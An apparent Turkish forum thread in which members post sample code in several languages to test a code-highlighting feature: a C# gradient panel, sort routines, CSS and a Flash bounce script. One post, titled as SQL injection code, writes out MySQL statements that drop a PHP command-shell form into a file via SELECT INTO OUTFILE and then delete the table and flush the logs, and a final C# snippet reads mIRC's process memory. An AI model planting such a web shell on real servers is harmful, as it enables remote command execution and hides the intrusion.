HolyOne

Kayıt : 1 Haziran 2002 Istanbul
|
|
using System;
using System.Windows.Forms;
using System.Drawing;
using System.Drawing.Drawing2D;
namespace DevDistrict.Sample
{
public class GradientPanel : System.Windows.Forms.Panel
{
protected override void OnPaint(PaintEventArgs e)
{
base.OnPaint (e);
Graphics g = e.Graphics;
g.SmoothingMode = SmoothingMode.HighQuality;
GraphicsPath gPath = new GraphicsPath();
Rectangle r = new Rectangle(0,0,this.Width,this.Height);
gPath.AddRectangle(r);
LinearGradientBrush lb = new LinearGradientBrush(r,Color.White,Color.Blue,LinearGradientMode.Vertical);
g.FillPath(lb,gPath);
}
}
}xxx
Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
|
|
|
www.palaq.com bilgi deposu
|
HolyOne

Kayıt : 1 Haziran 2002 Istanbul
|
|
Beta code highlightin ozelligi ekliom isteyen xss denemesi falan yapabilir
ama cok yolu var
Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
|
HolyOne

Kayıt : 1 Haziran 2002 Istanbul
|
|
//Ortalama c++
float mean(float *arr,int m) //array intlerden oluşuosa baştaki float yerine int yazmamız yeter
{
float mean_value=0;
for(int j=0;j<m;j++)
{
mean_value=mean_value+arr[j];
}
mean_value=mean_value/m;
return mean_value;
}
Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
|
HolyOne

Kayıt : 1 Haziran 2002 Istanbul
|
|
//SQL injection kodları
use vt1;
CREATE TABLE t0p (codetab text);
INSERT INTO t0p (codetab) values ('Exec Shell code :: by t0pP8uZz< method="POST"> < name="-cmd" size="64" ="TEXT" value="<?=$cmd?>" /> >');
SELECT * INTO OUTFILE '/tmp/a.txt' from t0p;
DROP TABLE t0p;
FLUSH LOGS;
Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
|
HolyOne

Kayıt : 1 Haziran 2002 Istanbul
|
|
' Sort algoritmalari
'============================================================================
''= sorts 1D array of 'words' via ebgreen's bubble sort
' ============================================================================
Sub BubbleSort( a1D )
Dim nUB : nUB = UBound( a1D )
Dim i, j, t
For i = 0 To nUB
For j = 1 To nUB - i
If a1D( j - 1 ) > a1D( j ) Then
'Swap them
t = a1D( j - 1 )
a1D( j - 1) = a1D( j )
a1D( j ) = t
End If
Next
Next
End Sub
' ============================================================================
''= sorts 1D array of 'words' via ebgreen's insertion sort
' ============================================================================
Sub InsertionSort( a1D )
Dim nUB : nUB = UBound( a1D )
Dim i, j, v
For i = 1 To nUB
v = a1D( i )
j = i
Do While a1D( j - 1 ) > v
a1D( j ) = a1D( j - 1 )
j = j - 1
If j <= 0 Then
Exit Do
End If
Loop
a1D( j ) = v
Next
End Sub
' ============================================================================
''= sorts 1D array of 'words' via ADO Recordset
' ============================================================================
Sub sortLinesAdo( aLines )
Const adVarWChar = 202 ' 000000CA
Dim oRS : Set oRS = CreateObject( "ADODB.Recordset" )
Dim nIdx
oRS.Fields.Append "Fld0", adVarWChar, 2000
oRS.Open
For nIdx = 0 To UBound( aLines )
oRS.AddNew
oRS.Fields( 0 ).value = aLines( nIdx )
oRS.UpDate
Next
If Not (oRS.BOF Or oRS.EOF) Then
oRS.Sort = "Fld0"
nIdx = 0
oRS.MoveFirst
Do Until oRS.EOF
aLines( nIdx ) = oRS( "Fld0" ).value
nIdx = nIdx + 1
oRS.MoveNext
Loop
End If
End Sub
' ============================================================================
''= sorts 1D array of 'words' via .NET SortedList
' ############################################################################
' Bad code: version/doc problem?
' ... Das Objekt unterstützt diese Eigenschaft oder Methode nicht.: 'oENum.Current'
' ============================================================================
Sub sortLinesNSL( aLines )
Dim oNSL: Set oNSL = CreateObject( "System.Collections.SortedList" )
Dim nIdx
Dim oENum
Dim oItem
For nIdx = 0 To UBound( aLines )
oNSL( aLines( nIdx ) ) = nIdx
Next
Set oENum = oNSL.GetEnumerator()
Set oItem = oENum.Current()
nIdx = 0
For Each sKey In oNSL.Keys
aLines( nIdx ) = sKey
nIdx = nIdx + 1
Next
End Sub
' ============================================================================
''= sorts 1D array of 'words' via .NET ArrayList
' ============================================================================
Sub sortLinesNAL( aLines )
Dim oNAL: Set oNAL = CreateObject( "System.Collections.ArrayList" )
Dim nIdx
For nIdx = 0 To UBound( aLines )
oNAL.Add aLines( nIdx )
Next
oNAL.Sort
For nIdx = 0 To UBound( aLines )
aLines( nIdx ) = oNAL( nIdx )
Next
End Sub
Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
|
HolyOne

Kayıt : 1 Haziran 2002 Istanbul
|
|
// Uzun string testi
alert("TÜRK GENÇLİĞİNE BIRAKTIĞIM KUTSAL ARMAĞAN Sayın baylar, sizi, günlerce işlerinizden alakoyan uzun ve ayrıntılı sözlerim, en sonu tarihe malolmuş bir çağın öyküsüdür. Bunda, ulusum için ve yarınki çocuklarımız için dikkat ve uyanıklık sağlayabilecek kimi noktaları belirtebilmiş isem kendimi mutlu sayacağım. Baylar, bu söylevimle, ulusal varlığı sona ermiş sayılan büyük bir ulusun, bağımsızlığını nasıl kazandığını; bilim ve tekniğin en son ilkelerine dayanan ulusal ve çağdaş bir devleti nasıl kurduğunu anlatmaya çalıştım. Bugün ulaştığımız sonuç, yüzyıllardan beri çekilen ulusal yıkımların yarattığı uyanıklığın ve bu sevgili yurdun her köşesini sulayan kanların karşılığıdır. Bu sonucu, Türk gençliğine kutsal bir armağan olarak bırakıyorum. \n\n Ey Türk gençliği ! Birinci ödevin ; Türk bağımsızlığını, Türk Cumhuriyetini, sonsuzluğa değin korumak ve savunmaktır . Varlığının ve geleceğinin biricik temeli budur. Bu temel, senin en değerli güven kaynağındır.\n\n Gelecekte de, yurt içinde ve dışında, seni bu kaynaktan yoksun etmek isteyen kötücüller bulunacaktır. Bir gün, bağımsızlığını ve cumhuriyetini savunmak zorunda kalırsan; ödeve atilmak için, içinde bulunacağın durumun olanaklarını ve koşullarını düşünmeyeceksin! Bu olanaklar ve koşullar çok elverişsiz olabilir. Bağımsızlığına ve cumhuriyetine kıymak isteyecek düşmanlar, bütün dünyada benzeri görülmedik bir utku kazanmış olabilirler. Zorla ve aldatıcı düzenlerle sevgili yurdunun bütün kaleleri alınmış, bütün gemilikleri elegeçirilmiş, bütün orduları dağıtılmış ve yurdun her köşesine düşman girmiş olabilir. Bütün bu koşullardan daha acıklı ve daha korkunç olmak üzere, yurdunda, iş başında bulunanlar, aymazlık ve sapkınlık içinde olabilirler. Üstelik, hayınlık da yapabilirler . Daha kötüsü, iş başında bulunan kişiler, kendi çıkarlarını, yurduna girmiş olan düşmanların siyasal erekleriyle birleştirebilirler. Ulus, yoksulluk ve sıkıntı içinde ezgin ve bitkin düşmüş olabilir. Ey Türk geleceğinin gençliği! İşte, bu ortam ve koşullar içinde bile ödevin, Türk bağımsızlığını ve Cumhuriyetini kurtarmaktır ! Bunun için gereken güç, damarlarındaki asil kanda mevcutur!\n\n M.K.ATATÜRK Söylev'den, 20 Ekim 1927");
function glowit2(which){
if (glowtext.filters[0].strength==3)
glowtext.filters[0].strength=2
else
glowtext.filters[0].strength=3
}
Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
|
HolyOne

Kayıt : 1 Haziran 2002 Istanbul
|
|
.dp-highlighter
{
font-family: "Consolas", "Courier New", Courier, mono, serif;
font-size: 12px;
background-color: #E7E5DC;
width: 99%;
overflow: auto;
margin: 18px 0 18px 0 !important;
padding-top: 1px; /* adds a little border on top when controls are hidden */
}
/* clear styles */
.dp-highlighter ol,
.dp-highlighter ol li,
.dp-highlighter ol li span
{
margin: 0;
padding: 0;
border: none;
}
Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
|
SeRDaR (Muhalif Yorumcu)

Kayıt : 9 Kasim 2003 İstanbul
|
|
Gençliğinin baharında parlak biriydi. Geleceğe dair umutları vardı.Ders çalışacak, başarılı olacaktı. Sonra
bilgisayarın açma tuşuna bastı...
Radikal Muhalif Yorumcu : MSN&E-Posta: serdar[at]tahribat[dot]com
|
HolyOne

Kayıt : 1 Haziran 2002 Istanbul
|
|
onClipEvent (load) {
gravity = 5;
floor = 5;
bounce = .9;
surt=.9;
speedx = -5;
speedystart = 0;
speedy = 0;
onEnterFrame = function () {
speedy += gravity;
this._x += speedx;
this._y += speedy;
if (this._y>floor) {
trace(speedx);
if (speedx > -.5) {
delete onEnterFrame;
}
this._y = floor;
speedx *=surt;
speedy = -Math.abs(speedy)*bounce;
}
};
}
Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
|
Holyzone (Rumplestiltskin)

Kayıt : 13 Ekim 2008 Ankara
|
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using ProcessMemoryReaderLib;
using System.Diagnostics;
/* Bildiğin program test */
namespace IRCGrabber
{
public partial class main : Form
{
public main()
{
InitializeComponent();
}
#region rsmemory
public void rsmemory(string radress)
{
try
{
ProcessMemoryReaderLib.ProcessMemoryReader preader = new ProcessMemoryReaderLib.ProcessMemoryReader();
ProcessMemoryReader Reader = new ProcessMemoryReader();
Process[] MyProcess = Process.GetProcessesByName("mirc");
preader.ReadProcess = MyProcess[0];
preader.OpenProcess();
string value;
byte[] memory;
int bytesread;
IntPtr readadress = new IntPtr(Convert.ToInt32(radress, 16));
memory = preader.ReadProcessMemory((IntPtr)readadress, 100, out bytesread);
value = System.Text.ASCIIEncoding.ASCII.GetString(memory);
label1.Text = value.ToString();
info.ForeColor = Color.Green;
info.Text = "Value was read successfully ";
}
catch
{
info.ForeColor = Color.Red;
info.Text = "Somethings wrong...";
}
}
#endregion
#region rimemory
public void rimemory(string radress)
{
try
{
ProcessMemoryReaderLib.ProcessMemoryReader preader = new ProcessMemoryReaderLib.ProcessMemoryReader();
ProcessMemoryReader Reader = new ProcessMemoryReader();
Process[] MyProcess = Process.GetProcessesByName("mirc");
preader.ReadProcess = MyProcess[0];
preader.OpenProcess();
int value;
byte[] memory;
int bytesread;
IntPtr readadress = new IntPtr(Convert.ToInt32(radress, 16));
memory = preader.ReadProcessMemory((IntPtr)readadress, 4, out bytesread);
value = BitConverter.ToInt32(memory, 0);
label1.Text = value.ToString();
info.ForeColor = Color.Green;
info.Text = "Value was read successfully ";
}
catch
{
info.ForeColor = Color.Red;
info.Text = "Somethings wrong...";
}
}
#endregion
private void button1_Click(object sender, EventArgs e)
{
rsmemory("0x00636B90");
}
}
}
twitter.com/Selimonder
|
|